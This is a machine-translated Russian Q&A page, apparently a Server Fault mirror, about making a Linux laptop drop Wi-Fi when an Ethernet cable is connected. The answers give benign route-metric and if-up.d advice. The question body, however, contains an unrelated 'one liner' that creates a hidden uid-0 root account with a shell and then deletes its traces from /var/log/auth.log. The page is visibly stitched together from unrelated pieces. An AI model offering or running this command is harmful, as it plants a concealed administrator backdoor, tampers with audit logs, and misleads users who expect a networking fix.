Как я могу настроить wpa_supplicant так, чтобы мой интерфейс wlan был отключен, когда я включаю кабель Ethernet?

Вот один лайнер:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Лучший,

0
задан 10 May 2009 в 00:33
3 ответа

Я утверждение второго womble, что wpa_supplicant является неправильным местом, чтобы сделать это. Вы хотите настроить что-то в/etc/network/поддереве, возможно, как womble предполагает путем увеличения метрики маршрута Wi-Fi, или возможно некоторыми другими средствами, вовлекающими пользовательский сценарий в/etc/network/if-up.d/, который удалил бы интерфейс Wi-Fi, если бы интерфейс Ethernet подошел.

Информация о создании сценариев для/etc/network/if-up.d/находится на странице справочника интерфейсов под разделом 'IFACE OPTIONS'.

2
ответ дан 4 December 2019 в 13:17
  • 1
    Привет, как я могу создать этот пользовательский сценарий в/etc/network/if-up.d/? Это звучит как самый разумный способ продвинуться. –  Grzenio 10 May 2009 в 23:08

Вы уверены, что wpa_supplicant - то, с чем Вы хотите играть сделать это? Это действительно только для аутентификации соединений WPA, не делая обнаружения состояния канала и остальной части его.

Лично, я даже не потрудился бы отключать Wi-Fi, я буду просто иметь действие с интерфейсом Wi-Fi, который дал, это - маршрут более высокая метрика, так, чтобы, если бы проводной интерфейс был, он был бы предпочтен. Что-то вроде этого должно добиться цели (предполагающий, что Ваша LAN является 192.168.10.0/24):

iface home inet dhcp
    [usual WPA guff here]
    up route del -net 192.168.10.0 netmask 255.255.255.0
    up route add -net 192.168.10.0 netmask 255.255.255.0 metric 1

При выполнении автоматического обнаружения смысла ссылки я понятия не имею о; я обычно не хочу свои сетевые интерфейсы, делающие материал, о котором я не знаю, таким образом, я никогда не изучал его.

1
ответ дан 4 December 2019 в 13:17
  • 1
    Привет, каковы эти 192.168.10.0 адресов? Я не уверен, использую ли его соответствующее, но я этот ПК больше чем в одной беспроводной сети, таким образом, я получаю различные настройки от dhcp сервера. –  Grzenio 27 May 2009 в 15:47

Работы для меня из поля.

Я думаю, что пакет, реализовывая его является администратором сети-гномом (это содержит апплет панели).

0
ответ дан 4 December 2019 в 13:17

Теги

Похожие вопросы